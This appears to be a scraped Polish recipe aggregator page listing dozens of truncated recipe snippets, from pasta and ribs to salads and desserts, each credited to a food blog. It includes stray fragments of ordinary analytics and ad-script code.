Penne ze szparagami i ciecierzycą w sosie pomidorowym 258

bazylię i kumin. Wymieszaj. Dopraw solą, dodaj mleko kokosowe i pesto. Wrzuć ugotowany makaron, wymieszaj. Po 3 minutach gotowe.. Smacznego!   Artykuł Penne ze szparagami i ciecierzycą w sosie pomidorowym pochodzi z serwisu %%http://www.greenscarf.pl/%%.

greenscarf
TUŃCZYK W SUSZONYCH POMIDORACH 173

gotujemy w osolonej wodzie. Cebulę kroimy w kostkę, podsmażamy na maśle, dodajemy pomidory, pomidory krojone, podlewamy niewielką ilością wody, dusimy 5 minut. Dodajemy tuńczyka, chwilę gotujemy. Makaron mieszamy z sosem, posypujemy fetą

słodki bratek
Żeberka z piekarnika 195

dodajemy 1/3 kostki smalcu ok.35g.  Pieczemy w 200 st.C/ 60 min. i 5 minut bez pokrywki. Potem mięso odsączamy z tłuszczu. Serwujemy gorące z czym kto lubi, sos też już mamy i to prawdziwy pieczeniowy. Kroimy na porcje pomiędzy żebrami. Smacznego

chleba naszego
Smażona ryba z frytkami 204

Fish and chips, czyli SMAŻONA RYBA Z FRYTKAMI z sosem... Artykuł Smażona ryba z frytkami pochodzi z serwisu CookMagazine

COOKMAGAZINE
Klopsiki zapiekane z makaronem w sosie porowo śmietanowym 572

wymieszać.   Do mięsa mielonego dodać jajko i przyprawy, energicznie wyrabiać tak aby mięso się związało. Uformować sześć pulpecików.   Do niewielkiego naczynia żaroodpornego wsypać suchy makaron, zalać go sosem i ułożyć na nim pulpeciki lekko dociskając.   Zapiekać 40 minut w 170 stopniach. Smacznego

Jadło i czytadło
27 przepisów z truskawkami 171

owocowym crunchy Sorbet truskawkowy Surówka z młodej kapusty z truskawkami Truskawkowa kasza manna Truskawkowy koktajl na maślance Truskawkowy koktajl z bananem i miodem Truskawkowe semifreddo z jagodami i sosem owocowym podane z malinami Woda truskawkowo - miętowa

Moja smaczna kuchnia
Placuszki z kurczaka z koperkiem i cukinią 186

Pyszne i pachnące koperkiem placuszki z kurczaka z młodą cukinią. Pyszny i szybki letni obiad. Możemy podać z młodymi ziemniaczkami i sosem czosnkowym na bazie jogurtu. 500 g fileta z piersi kurczaka Przyprawa do kurczaka 2 jajka 1 młoda cukinia (mała) 5 pieczarek 50 g żółtego sera Pęczek koperku 2 łyżki mąki pszennej Sól Pieprz Filet z piersi kurczaka kroimy

VioletoweKucharzenie
Pani ośmiornica tapla się w pomidorach 164

Znowu gotujesz te potwory- stwierdziła moja mama, widząc, co wkładam do garnka. Nie jest fanką owoców morza. Choć sam smak może nawet jej odpowiada, bo sos z gotowania może zajadać, to jednak same stwory mają dla niej nieprzyjemną konsystencję. Z tego co słyszę, to właśnie to jest główną przyczyną antypatii względem tego typu potraw. Na to już chyba ciężko coś

Pichceniomania
Obiad jednogarnkowy. Gulasz z kurczaka w sosie na bazie pesto 293

Uwielbiam dania jednogarnkowe . Proste i w miarę szybkie w przygotowaniu, a do tego nie brudzimy innych naczyń Dziś polecam wam gulasz z kurczaka w sosie na bazie pesto . Idealny obiad dla całej rodziny. Gulasz możecie podać z ulubionymi dodatkami np. kaszą, makaronem, ziemniakami, świeżym pieczywem, a nawet sam z zestawem surówek. Spróbujcie. Zachęcam Was również do odwiedzin strony Greckie Przysmaki

Słodkie okruszki
Tarta z borówką amerykańską i kremem budyniowym 225

Tarta z borówką amerykańską i kremem budyniowym to idealne ciasto na niedzielę , a także jeden z bardzo wielu sposobów podania tych wspaniałych owoców. Można je wykorzystywać w różnego rodzaju sosach, sokach, w deserach lodowych i musach. Świetnie też nadają się na galaretki, dżemy, do ciast i muffinek. Z powodzeniem można używać ich jako nadzienia do pierogów, knedli, a także jako

mojewypiekiinietylko
Pieczony, marynowany w winie camembert z truskawkami w balsamico truflowym 142

sezonie na truskawki staram się zawsze wykorzystać je najbardziej jak się da. W końcu bardzo szybko się kończą. Tym razem w nietypowym połączeniu - camembert, balsamiczny sos truflowy oraz słodkie truskawki dają świetną kombinacją. Zwłaszcza po upieczeniu sera zamarynowanego w winie - staje się wtedy miękki w środku, wręcz prawie płynny. Trzeba tylko pamiętać, żeby go tylko jeść póki jest gorący

Milion Smaków
Ciecierzyca z warzywami w sosie pomidorowo-paprykowym z masłem orzechowym 194

Ciecierzyca z warzywami w sosie pomidorowo-paprykowym z masłem orzechowym i prażonymi pestkami słonecznika Jesteśmy na wakacjach, ale w większości dni robimy obiady w domu, a pojedyncze dni jadamy w restauracjach i mimo, że jesteśmy poza Jastrzębią to zazwyczaj jeździmy na obiady do restauracji Słoneczna w Jastrzębiej Górze. O restauracji tej po powrocie do domu będzie osobny post. Kilka

Państwo Wojtczuk gotują
Noodle z warzywami 195

małym ogniu, aż warzywa będą miękkie. Dodajemy do warzyw ostrą paprykę, doprawiamy do smaku. Ugotowany makaron mieszamy z warzywami. Podajemy z posiekaną natką z pietruszki. warzywa można wymieszać z sosem sojowym i posypać sezamem. Zamiast natki pietruszki warto użyć świeżej kolendry

Moja smaczna kuchnia
MAKARON RYŻOWY Z WARZYWAMI 252

znalazłam duże zapasy makaronów ryżowych. Pora zacząć je wykorzystywać. Nie chciałam klasycznej "chińszczyzny" dlatego zdecydowałam się na dodatek kalarepy i czerwonej kapusty. Azjatyckiej nuty dodaje sezam i sos sojowy. Czytaj więcej

Kasia Sarna
Mądrzyki, Małdrzyki – placuszki z sera białego 238

właśnie jest mój przepis. Na mądrzyki z rzadszej masy, przyjdzie Wam chwilkę poczekać Mądrzyki podawane są zwykle z cukrem pudrem, ale my lubimy je również wcinać z wszelkiego rodzaju sosami na bazie owoców czy też bestialsko z dżemem. Ważne, aby użyć tutaj dobrej jakości sera. W żadnym razie takie wiaderkowe się nie nadają. Ser najlepiej zmielić, w innym wypadku

Mieszam w Garnku
Surówka z młodej kapusty i pora 443

cytryny i miód na jednolitą emulsję marchewkę i jabłko obrać, następnie zetrzeć na grubych oczkach tarki jarzynowej, połączyć z kapustą. Dodać posiekany koperek i wymieszać surówkę z sosem podawać uprzednio schłodzoną w lodówce

Gotuj zdrowo!Guten Appetit!
DIETETYCZNE PLACUSZKI KOKOSOWE 181

się dobrze napowietrzyły, dodajemy mąkę kokosową, mieszamy dokładnie. Odstawiamy na 10 minut, mąka troszeczkę napuchnie. Smażymy na oleju kokosowym małe placuszki, abyśmy byli w stanie je obracać. Podajemy z sosem: zmiksowane liście bazylii, mięty i melisy, z odrobiną wody, możesz też dodać miód. Podałam z truskawkami! Buziak

SMYKWKUCHNI
naleśniki budyniowe... 196

złociste, cienkie naleśniki, usmażone odkładać na talerz połowę naleśników posmarować serkiem homogenizowanym waniliowym, drugą połowę posmarować dżemem-użyłam swoje przetwory czekośliwkę, naleśniki składać na koperty przed podaniem naleśniki polać sosem malinowym - naleśniki są pyszne i smakują do kawy zbożowej z mlekiem lub z czym się lubi............SMACZNEGO

W Mojej Kuchni Lubię
WEGETARIAŃSKI OMLET Z WARZYWAMI 477

pergaminem i piecz w rozgrzanym piekarniku przez około 40 minut, około 10 minut przed końcem pieczenia zdejmij pergamin. Pozostaw do ostudzenia na co najmniej pół godziny.** *typu śmietana do sosów i zup, lub kremówki **Omlet łatwiej się kroi po przestygnięciu, ale można go również podawać na gorąco, bardzo dobrze smakuje również odgrzany na drugi dzień

Smaki Francji współczesna kuchnia francuska
Maślane sakiewki z truskawkami 208

Można się nimi zajadać, i wgryzać w nadzienie polewając sosem. Pełnia szczęścia na talerzu jak dla mnie. Nie można się od nich oderwać. Do tego szklaneczka maślanki do popicia i czego chcieć więcej. ciasto: 30 dkg mąki pszennej typ 500 2/3 szklanki maślanki 1 łyżka oleju szczypta soli pozostałe: 70 dkg truskawek 150 g śmietany gęstej 18 % 1 garść borówek

wesoła kuchnia
SAŁATKA Z TUŃCZYKIEM W CYKORIOWYCH ŁÓDECZKACH 198

Bardzo fajny sposób na podanie sałatki. Na pewno zachwyci gości. Wszystkie składniki pasują do siebie idealnie  Składniki: 1 cykoria puszka tuńczyka w sosie własnym  1 ogórek typu wąż 1 czerwona cebula 1 cebulka dymka ze szczypiorem łyżka majonezu sól, pieprz Wykonanie: Tuńczyka osączamy z zalewy, rozdrabniamy widelcem. Cykorię dzielimy na listki. Mniejsze ze środka zostawiamy jako łódeczki

Z Majeczką w kuchni
DIETETYCZNA SAŁATKA Z FETĄ! 214

listków bazylii - 5 listków mięty - łyżka oleju z orzechów włoskich - 1 łyżeczka soku z cytryny - 2 orzechy uprażone - kilka kropel miodu do smaku - troszkę wody, abyście mogły zmiksować blenderem sos Nie dosalam sałatki, staram się ograniczać sól. Ponieważ ostatnio mam wrażenie, że mam opuchniętą twarz i nogi. Widzę już pierwsze efekty. Polecam Wam, odstawić sól, zresztą feta jest już dość

SMYKWKUCHNI
Roladki schabowe z chrzanem i musztardą francuską 242

chwili podlewamy bulionem. Dusimy pod przykryciem do miękkości. Na koniec wyjmujemy roladki, powstały płyn zlewamy, miksujemy i przecedzamy przez sito. Z roladek usuwamy nitki i ponownie umieszczamy w sosie. Zagotowujemy i SMACZNEGO. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments

Smaki Ewy
TORT CHLEBOWY Z TUŃCZYKIEM, JAJKAMI I WARZYWAMI 389

naturalny – 200 g * groszek Bonduelle – 150 g * czosnek – 2 ząbki * świeża, zielona papryka – 1 szt * sól , pieprz, świeży koperek 3 pasta: * tuńczyk ( w oliwie lub sosie własnym ) – 150 g * twarożek / ser biały – 150 g * kukurydza Bonduelle – 100 g * biała cebula -1 szt *sól, pieprz DODATKOWO: * jajka przepiórcze – do dekoracji * pomidorki koktajlowe * świeże

Ostra na Słodko
Domowe mleko kokosowe 193

Poniżej przedstawiam moje dwa ulubione przepisy – jeden na rzadsze mleko, idealne do owsianek, koktajli, drugie natomiast gęste i tłuste, podobne do tego z puszki, które idealnie nada się do sosów, zup czy zapiekanek.  Rzadsze mleko kokosowe: 200g wiórek kokosowych  1 litr wody źródlanej Wiórki przesyp do dużego słoika (lub wprost do blendera) i zalej podgrzaną, gorącą wodą źródlaną

Roślinna - blog wegański
Polędwiczki wieprzowe w sosie pieczarkowym 178

Przedstawiam przepis na jeden ze smaczniejszych sosów pieczarkowych jakie udało mi się zrobić:). Kilka prostych składników jak zwykle okazało się być receptą na sukces.  500g polędwiczek wieprzowych  800g pieczarek 2 duże cebule 300 ml śmietany kwaśnej 18% 1/2 szklanka białego, wytrawnego wina 1 pęczek natki pietruszki 2 łyżeczki musztardy 1 łyżeczka słodkiej papryki 1/2 łyżeczki ostrej papryki sól

Szefowa kuchni
Pieczone żeberka wieprzowe 250

marynatę i wstaw do piekarnika nagrzanego na 150ºC. Piecz żeberka przez 90 minut. Po połowie czasu odwróć na drugą stronę. Od czasu do czasu polewaj mięso wytworzonym sosem. Wyjmij żeberka z piekarnika. Mięso powinno być mięciutkie, wysmażone i odchodzić od kości. Pokrój mięso na kawałki wzdłuż kości. Podaj z ulubionymi dodatkami np. młodymi ziemniakami. The post Pieczone żeberka wieprzowe appeared

codojedzenia
WARSZTATY Z GRZEGORZEM ŁAPANOWSKIM - POKOCHAJ OLEJ RZEPAKOWY 166

resztki które zostały- wysokobiałkowy makuch ( śruty ) które również można zastosować w kuchni.   Gotowanie to najprzyjemniejsza część warsztatów. Każdy z uczestników przygotowywał potrawy z dodatkiem oleju rzepakowego jak; majonez, sosy winegret, dresingi, pieczone pączki. Potrawy zostały przygotowane za pomocą różnych technik np. pary fry ( smażenie w wysokiej temperaturze ), con fit ( powolne duszenie w niskiej temperaturze w tłuszczu ) czy podpalanie

Kulinarne Fantazje Marioli
MAKARON Z TRUSKAWKAMI 237

miękkości w osolonej wodzie, odcedzić na sitku. Do miski wsypać truskawki, cukier i dodać kwaśną śmietaną. Wszystko zmiksować za pomocą blendera.  Makaron nałożyć na talerz, polać przygotowanym sosem truskawkowym. Przepis bierze udział w wydarzeniu na grupie na Facebooku  "Błyskawiczne piątki" , do której zapraszam także

Zrób to smacznie
Lekkie roladki z karkówki faszerowane młodą kapustą. 219

młode smakują wybornie. Są intensywne w smaku, miękkie w fakturze i soczyste. Do tego ogromnie bogate w witaminy. Jakiś czas temu pokazywałam Wam kapustę kwaszoną zapiekaną z karkówką w sosie myśliwskim, danie, które także jest łatwe, ale smakiem bardziej podchodzi pod bigos. Natomiast dzisiaj podaję przepis na roladki pełne zieloniutkiej, delikatnej, młodej kapusty podduszane w piekarniku. Zadowoli i facetów, którzy

Poezja Smaków - blog kulinarny
Tarta francuska z łososiem i brokułem 220

Składniki: opakowanie ciasta francuskiego 1 filet z łososia 1/2 brokuła 1 cebula 2 ząbki czosnku sos: 100 ml śmietanki 30% 3 jajka 3/4 szklanki mleka 1/2 szklanki startego sera (mieszanka parmezanu, cheddar/gouda) 3 łyżki startego parmezanu sól, pieprz, 1/2 łyżeczki gałki muszkatałowej Przygotowanie: Piekarnik rozgrzać do temperatury 200 stopni. Formę na tartę naoliwić lub posmarować masłem. Wyłożyć ciasto francuskie

Jaglusia
Zielone kopytka ze szpinakiem 182

Szpinak jest w daniu praktycznie niewyczuwalny, nadaje on tylko barwę kopytkom. Z czym jeść kopytka szpinakowe ? Najlepiej smakują z rozgrzanym na patelni masłem. Możecie podać je także z dowolnym sosem, a nawet w wersji na słodko, z cukrem, zrumienioną tartą bułką i truskawkami. PRZEPIS NA ZIELONE KOPYTKA ZE SZPINAKIEM Składniki na zielone kopytka: 350 g ugotowanych ziemniaków 100 g liści

kolorowotorcikowo
KOTLETY Z SOCZEWICY I KASZY JAGLANEJ – bezglutenowe, wegetariańskie 314

przygotowałam dla Was pyszne, chrupiące kotleciki z soczewicy i kaszy jaglanej inspirowane moimi ukochanymi smakami Indii – z dodatkiem curry i kminu rzymskiego. Niesamowicie aromatyczne! Świetnie smakują np. z sosem z pieczonych pomidorów albo papryki. Są idealnym pomysłem na obiad! Są bezglutenowe , w związku z czym bez obaw mogą je zajadać osoby z nietolerancją. Koniecznie spróbujcie! Gwarantuję, że posmakują

Ostra na Słodko
Pikantna zapiekanka ziemniaczana z chorizo 175

wytopi się z niego tłuszcz), po chwili dodajemy cebulę. Dolewamy wodę, dusimy do miękkości. Studzimy. 3. W osobnym naczyniu mieszamy śmietanę z przecierem i przyprawami (ilość do smaku, sos powinien być wyrazisty). Ziemniaki, chorizo, cebulę, fasolę, kukurydzę, czosnek, ser i śmietankę z przecierem i przyprawami mieszamy ze sobą. 4. Zapiekamy w temperaturze 180 stopni przez 40 minut

Szefowa kuchni
Piersi kurczaka z cytrynowo-tymiankową nutą 207

grilla. Z bardzo fajną marynatą, ze świeżym tymiankiem, cytryną i ostrą papryczką. Dzięki niej otrzymujemy ziołowo-pikantne mięso. Bardzo nam smakowało:) podwójna pierś z kurczaka 1-2 łyżki sosu sojowego lub teriyaki 1 cytryna 1 papryczka chilli 2 ząbki czosnku 4 łyżki oliwy 4 listki laurowe świeży tymianek (ilość wg uznania, w zależności od tego czy lubimy bardziej, czy mniej

Smaki Na Talerzu
Leczo z kiełbasą – proste, szybkie i smaczne! 1949

wody, całość dusić pod przykryciem przez ok. 15 minut. Następnie dodać pieprz chili cayenne oraz pokrojone ogórki, wymieszać i dalej dusić całość pod przykryciem przez ok. 30 minut. Jeśli sos wydaje się zbyt rzadki, to można jeszcze całość chwilę smażyć bez przykrycia, do odparowania nadmiaru płynów. Na koniec doprawić do smaku pieprzem i solą. Ozdobić posiekanymi, świeżymi listkami bazylii. Podawać

Kulinarne Przeboje
DESER Z CHIA I TRUSKAWKAMI 280

minut. Truskawki myjemy, oczyszczamy.  Przekładamy do wysokiego naczynia, dodajemy ksylitol i blendujemy na jednolitą masę. Jogurt z chia dzielimy na połowę i przekładamy do szklanek. Sos truskawkowy polewamy po połowie na jogurt z chia. SMACZNEGO

Prosto i Smacznie z Anetą
Lody kajmakowe – tylko 2 składniki! 4609

czasami jest potrzebny krótszy czas chłodzenia, więc np. po 12h można już sprawdzić, czy lody są OK). Lodów nie trzeba mieszać podczas chłodzenia. Podawać w wafelkach, z sosem karmelowym, orzechami, bitą śmietaną lub innymi ulubionymi dodatkami :) Smacznego! :) Może zaciekawią Cię również inne przepisy na domowe lody: domowe lody bananowe domowe lody Kinder Bueno The post Lody kajmakowe – tylko

Kulinarne Przeboje
Flammkuchen. 229

minut. Cebulę obrać i pokroić w piórka, połączyć z boczkiem pokrojonym w paski i śmietaną. Wymieszać i doprawić solą i pieprzem. Ciasto rozwałkować na cienki placek, posmarować równomiernie sosem śmietanowym z cebulą i boczkiem. Wstawić do piekarnika nagrzanego do 250°C i piec przez ok. 20 minut

zadanie-gotowanie
Wiosenne krokiety z młodą kapustą i twarogiem 211

płasko.  Jajka roztrzepujemy widelcem, dodajemy przyprawy. Pozwijane krokiety maczamy w jajku, a następnie obtaczamy w bułce tartej. Smażymy na rozgrzanym oleju z każdej ze stron. Podajemy z ulubionym sosem

kulinarne odsłony pati
Sałatka szparag/ jajko w koszulce/ botwina/ feta/ suszone pomidory/ orzechy laskowe i cytrynowy dressing 157

Rzodkiewki kroję w plastry, ogórka w plastry. Orzechy siekam. Fetę kruszę, suszone pomidory kroję w paski. Składniki mieszam. Podaję z ugotowanym jajkiem w koszulce. Składniki dressingu dokładnie mieszam, przygotowanym sosem polewam sałatkę.  Smacznego, Klaudia

Mango Papaja
szybkowar-golonki kruche i soczyste... 192

szybkowara wszystko, wsypać kucharka, wlaćwodę i zamknąć szybkowar od chwili zasyczenia pary gotować na średnim ogniu 60 minut, szybkowar otworzyć jak sam spuści ciśnienie z wywaru można zrobić sos zagęszczony mąką i śmietaną - golonki są miękkie, kruche, soczyste...........SMACZNEGO

W Mojej Kuchni Lubię
Zielona rolada 198

Hej! Już kiedyś pisałam, że bardzo lubimy cukinię i dlatego często ją wykorzystuję do przyrządzenia różnych potraw. Mam nadzieję, że spodoba Wam się moja dzisiejsza propozycja

Tylko pysznie
Makaron ” Luciana’s” 211

Makaron „Luciana’s” Pyszny i szybki makaron z papryką i pieczarkami . Nie wiem, czy warto cokolwiek o nim pisać , jego trzeba koniecznie spróbować

Ogrodnik w podróży
Gołąbki z ziemniakami z piekarnika 942

płatków chili 1 płaska łyżeczka gałki muszkatołowej 1/2 łyżeczki mielonej kurkumy 1/2 łyżeczki mielonego curry 1 łyżeczka majeranku sól i pieprz do smaku 1 łyżka masła Składniki  na sos: 1 szklanka  śmietanki do zup 18% 1 szklanka mleka 3,2% 2 ząbki czosnku wyciśniętego przez praskę szczypta gałki muszkatołowej szczypta soli Przygotowanie: Zagotować w garnku wodę i włożyć

Gosia gotuje
Mięsne kulki z serem na sposób włoski - bez glutenu, low-carb 204

pieczenia ze środka wytopi się nieco sera, tworząc sosik do klopsików, Pycha. Tak wyglądają moje kulki bezpośrednio po wyjęciu z piekarnika. Widać że wypłynął ser. Powstał w ten sposób sos, idealny do brokułów. A tak gotowe do zjedzenia :-) Polecam. Klopsiki smakują doskonale podane z brokułami, kalafiorem lub brukselką. Podoba się Wam przepis? A może macie swoją ulubioną wersję klopsików

Marta próbuje
Szybkie śniadanie : Czekoladowe świderki z ricottą i truskawkami 208

cynamonem.  3. Ricottę mieszamy z miodem i wiórkami kokosowymi oraz startą skórką cytrynową.  4. Do miski wykładamy w pierwszej kolejności serek , układamy na nim makaron, i polewamy sosem truskawkowym. Na wierzchu kładziemy świeże owoce : np. poziomki ,świeżą miętę i odrobinę skórki cytrynowej.  Podajemy opcjonalnie z dodatkiem świeżych kwiatów fiołka, które też są jadalne.  Gotowe

vaniliowoczekoladowa
Sałatka z ogórka do grilla 248

oczka. Możemy też zrobić to przy użyciu noża. Pamiętajmy jednak, by nasz ogórek był wyjątkowo cienko pokrojony. Podobnie robimy z czerwoną papryką i cebulą. Całość wrzucamy do miski. Teraz sos. Do miodu dodajemy ocet winny i miód. całość dokładnie mieszamy i dodajemy do miski z ogórkami, papryką i cebulka. Pieprzymy i solimy. Na koniec dodajemy nasiona sezamu. Bon Apetit! Koszt

Kuchennyviral.pl
Ekspresowe Nuggetsy z groszku konserwowego z dipem z nerkowców 231

złocisty kolor.  Orzechy zalewamy wodą, tak aby całe były nią pokryte i moczymy przez 2h . Następnie orzeszki odcedzamy, nalewamy odrobinę świeżej wody i miksujemy blenderem na gładki sos. Dodajemy musztardę stołową, sok z cytryny, posiekany koperek oraz sól i pieprz.  Podajemy z usmażonymi Nuggetsami.  Czy wiesz, że? Warzywa Bonduelle uprawiane są w najlepszych strefach klimatycznych dla danych

kulinarne odsłony pati
Zupa ze szparagami i jajkiem 257

ząbek czosnku 1 łyżka masła klarowanego 1000 g bulionu warzywnego 500 g ziemniaków (obranych i pokrojonych w grubą kostkę) pęczek zielonych szparagów 2 miarki śmietany 18% do zup i sosów (miarka jest załączona do TM – przykrywamy nia pokrywę) koperek 4 jajka ugotowane sól, pieprz Przepisy Thermomix. Zupa ze szparagami i jajkiem. Wykonanie: Do naczynia Thermomix dajemy obraną i pokrojoną

Themo przepisy
Zapiekanki na Placu Nowym w Krakowie 206

kosza. Na koniec zostawiliśmy sobie Na Maxa i kultowego Endziora. I wiecie co – wszędzie to samo, ten sam syf. Zapiekanki dostaniecie w dziwacznych wersja – z salami, kebabem, jakimiś sosami, szczypiorkiem, pomidorem. To chyba ma maskować ten bajzel pod spodem. Na szczęście w Okrąglaku jest jeden jasny punkt, który wczoraj ukoił nam nerwy, ale to jest taka perła, że o niej

ladykitchen
Pulpety drobiowe w sosie koperkowym 236

Czasem nachodzi mnie ochota na domowy, tradycyjny obiad, taki trochę „babciny” 🙂 Przedstawiam klasyczne pulpety w sosie koperkowym. Najlepiej smakują w towarzystwie marchewki i ziemniaków. Przepis na 10 dość małych

Bullio
Wiosenna surówka z ogórka, pomidora, awokado i sera feta 191

Dobra surówka na wiosnę kiedy w końcu doczekamy się świeżych warzyw. Dodajemy do niej awokado i ser feta, żeby była bardziej sycąca i pożywna, a całość wykańczamy sosem miodowo-musztardowym. Smak i zdrowie

Milion Smaków
Leczo z cukinią i wołowiną 202

bazylią. Całość gotujemy jeszcze około 10 minut. Podajemy ze świeżym pieczywem bądź ryżem * użyłam wołowiny 20% tłuszczu Notes - pamiętajmy o zachowaniu odpowiedniej konsystencji dania. Leczo nie jest zupą, a sosem z dużą ilością warzyw - jestem miłośniczką chrupiących warzyw, dlatego moje leczo wygląda nie co inaczej niż większość przepisów w sieci, gdzie leczo przypomina papkę. W moim wykonaniu leczo to miękkie

Wędrówki po kuchni
Wytrawne naleśniki z tuńczykiem i czerwoną fasolą (Crepes salati al tonno e fagioli rossi) 202

naleśniki 250 g m ą ki pszennej 500 ml mleka 3 jaja 30 g masła    Farsz 2 ogórki 1 czerwona cebula 200 g tuńczyka w sosie własnym  100 g pomidork ó w 200 g czerwonej fasoli 100 g kukurydzy suszone oregano bazylia s ó l, pieprz      **** INGREDIENTI Impasto per crepes

La grande e la piccola cuoca
Smaki Japonii - foto skrót z podróży, cz. 1 178

rosty i tani posiłek z supermarketu: ryż ze śliwką Umeboshi (to małe czerwone), grillowane ryby, marynowane warzywa, Tamagoyaki ( omlet japoński). Kioto – Chawan Mushi: zupa na bazie custard (sos angielski) z krewetką, grzybami, ciastkiem ryżowym mochi, orzechami ginkgo. Restauracja Ume no Hana. Taki widok pięknych ryb można zobaczyć, przechodząc obok restauracji w Tokio, pływają sobie w zbiorniku bez żadnej ochrony. Jeśli

Kuchcik gotuje
Dietetyczna pizza – bez sera, bez sosu pomidorowego 271

Dietetyczna pizza? To możliwe - wystarczy wyeliminować ser i można wcinać na okrągło! Artykuł Dietetyczna pizza – bez sera, bez sosu pomidorowego pochodzi z serwisu Vegan Taste

Vegan Taste
Jak zrobić w domu prażoną cebulkę? 203

Prażona cebulka to pyszny dodatek do wielu dań. Jest idealna do sałatek, sosów, zup, czy też hot dogów i hamburgerów. Właściwie ogranicza nas tylko nasza fantazja. W sklepach można kupić gotową, ale przecież to pójście na łatwiznę, nie uważacie? Zrobić ją samodzielnie w domu to nie jest wyczyn na miarę nagrody Nobla, a zawsze wiadomo, że nie jest konserwowana

Codzienna kuchnia niecodzienna
Kawałki kurczaka w aromatycznym cieście 342

obiad zrobiłam polędwiczki w aromatycznym cieście- pietruszkowym i paprykowym. Mięso jest soczyste i delikatne. SKŁADNIKI: 0,5 kg polędwiczek z kurczaka MARYNATA: 2 łyżki oleju z winogron 1 łyżeczka sosu sojowego ciemnego 1 łyżeczka octu winnego jasnego sól, pieprz zioła:lubczyk, majeranek, chmali-suneli CIASTO: 2 jajka 2 łyżki mąki pęczek pietruszki lub drobno posiekana papryka vegeta do smaku WYKONANIE

Kuchnia Beaty
Zielone Kotleciki Z Brokuła I Wczorajszych Ziemniaków 259

jest dość kleista) staramy się formować kotlety które obtaczamy w mące i od razu kładziemy na rozgrzany tłuszcz. Smażymy z obu stron do zrumienienia. Podajemy je z kaszą,  sosem i/lub świeżą sałatką. Smacznego

Gotowanie...to proste !
Pizza makaronowo- serowa 186

Układamy plastry boczku i posypujemy kaparami. Pieczemy w piekarniku nagrzanym do 170⁰C z termoobiegiem przez ok 15 min (do zrumienienia). Podajemy z ulubionym sosem.  #lubelloveinspiracje

Kuchnia w czekoladzie
Zapiekany pudding z serka wiejskiego 144

łyżki otrębów (płaskie; u mnie pszenne; mogą być też dowolne płatki) 1 łyżeczka miodu (płynnego) Dodatkowo polecam:  1 łyżeczka liofilizowanego rokitnika w proszku (*) Ponadto: np. miód, ulubiony sos lub konfitura (u mnie truskawkowa ) Jajko ubić do puszystości, a następnie dodać resztę składników i dokładnie wymieszać. Masę przełożyć do kokilki i wstawić do rozgrzanego piekarnika. Piec około 30 minut

Di gotuje
Łosoś pieczony z warzywami po hiszpańsku 452

Zastanawialiście się kiedyś, bez czego nie mogłyby się obejść kuchnie z różnych stron świata? Trudno wyobrazić sobie kuchnię grecką bez oliwek. Włoską – pomidorów. Chińską – sosu sojowego. Polską – ziemniaków. Hiszpańską? Papryki! Tutaj, bez tej świeżej czy suszonej – tak słodkiej i wędzonej – jedzenie zwyczajnie nie byłoby takie samo, wiele przy tym tracąc ze swego charakteru. Jeśli macie zatem na podorędziu kawałek łososia

Even Better Food
Sałatka z makaronem ryżowym 285

jogurtem naturalnym, dodać sól, sporo pieprzu, wymieszać dokładnie. Wszystkie składniki połączyć ze sobą, wymieszać, w razie potrzeby doprawić solą lub pieprzem. Podawać zaraz po przygotowaniu (jeśli sałatka postoi dłużej sos jogurtowy wsiąknie w makaron i sałatka będzie sucha). Posypać koperkiem do dekoracji. (adsbygoogle = window.adsbygoogle || []).push

Wilczkowy Świat - nasze codzienne gotowanie
Francuska bagietka. 185

szlaku europejskiego ulicznego jedzenia robimy dziś przystanek we Francji. O ile na sos do berlińskiego currywursta można było podać jeszcze jakiś przepis, o tyle w przypadku paryskiej bagietki będzie to tylko propozycja kompozycji składników. Oczywiście, moglibyśmy poprosić Marzenę o upieczenie francuskich bułek i opisanie tego w jakimś ciekawym poście, ale chwilowo musimy zadowolić się bagietkami z piekarni. ;) Czy można wyobrazić

zadanie-gotowanie
zapiekanka z mięsa mielonego i ziemniaków 144

Polecam zapiekankę z ziemniaków i mięsa mielonego wieprzowego z sosem beszamelowym..Ja zapiekanki często robię w sobotę u mnie dzień gospodarczy a zapiekankę można wcześniej przygotować a w odpowiednim momencie włożyć do pieca ..Polecam 🙂 składniki: 1 kg ziemniaków 0,5 kg mięsa mielonego /ja użyłam z karkówki/ 2 cebule smalec do smażenia lub inny tłuszcz sól.pieprz,papryka

Ugotujmy Coś
Pierś z kurczaka z cieciorką w sosie pomidorowym 223

Pyszna potrawka z piersi kurczaka i cieciorki w aromatycznym sosie pomidorowym, danie doskonale smakuje z makaronem. Również możemy je podać z ryżem. Składniki: 0,5 kilograma piersi z kurczaka 1 puszka cieciorki 1 cebula 2 ząbki czosnku 0,5 litra przecieru pomidorowego 1 łyżeczka suszonej bazylii  Sól do smaku Pieprz czarny mielony Przyprawa do kurczaka Olej do smażenia Sposób

Bajeczna Kuchnia
Polędwica z dzika, zielone szparagi i quinoa 152

myjemy, osuszamy, delikatnie solimy i grillujemy na patelni do grillowania wsmarowanej klarowanym masłem. Gdy mięso się upiecze wyjmujemy je z folii, kroimy na plastry, podajemy z quinoą, szaragami i sosem, który powstał w czasie pieczenia. Posypujemy wszystko różowym pierzem i siekaną natką pietruszki

Quinoa Raz!
Kotlety z cukinii 187

Odcinamy oba końce. Kriomy na grubsze plastry. Panierujemy w mleku, a następnie w bułce tartej. Smażymy na rozgrzanym oleju rzepakowym, z każdej strony, aż będą złotobrązowe. Podajemy z ulubionym sosem. Oprószamy solą do smaku. Wersja fit takich kotletów to np. panierka zamiast bułki tartej przygotowana z płatków owsianych

Moja smaczna kuchnia
Zupa z jarmużem i tortelloni 231

szukać pomysłów na szybkie obiady. Jedna z propozycji to zupa z młodym jarmużem i tortelloni. Taką zupę przygotowałam dzięki Hilcona ,która w swojej ofercie ma półprodukty między innymi makarony, sosy i dania warzywne. Są to produkty z krótką datą ważności i nie znalazłam w składzie żadnych ulepszaczy czy konserwantów. Bardzo dużym zaskoczeniem było to iż w składzie są jajka

Ala piecze i gotuje
Kokosowe pancakes 195

roztopione masło klarowane- 2 łyżeczki * proszek do pieczenia- 2 łyżeczki * olej kokosowy- do smażenia Wszystkie składniki ze sobą wymieszać (najlepiej rózgą) i wylewać porcję ciasta (ja wykorzystuję łyżkę do sosów) na rozgrzaną patelnię. Kiedy ciasto od spodu się zetnie i pojawią się pęcherzyki powietrza na wierzchu przełożyć placki na drugą stronę. Smacznego

Kraina Miodem Płynąca
Wegańskie mięso mielone – jak oszukać mięsożerców za pomocą tofu 132

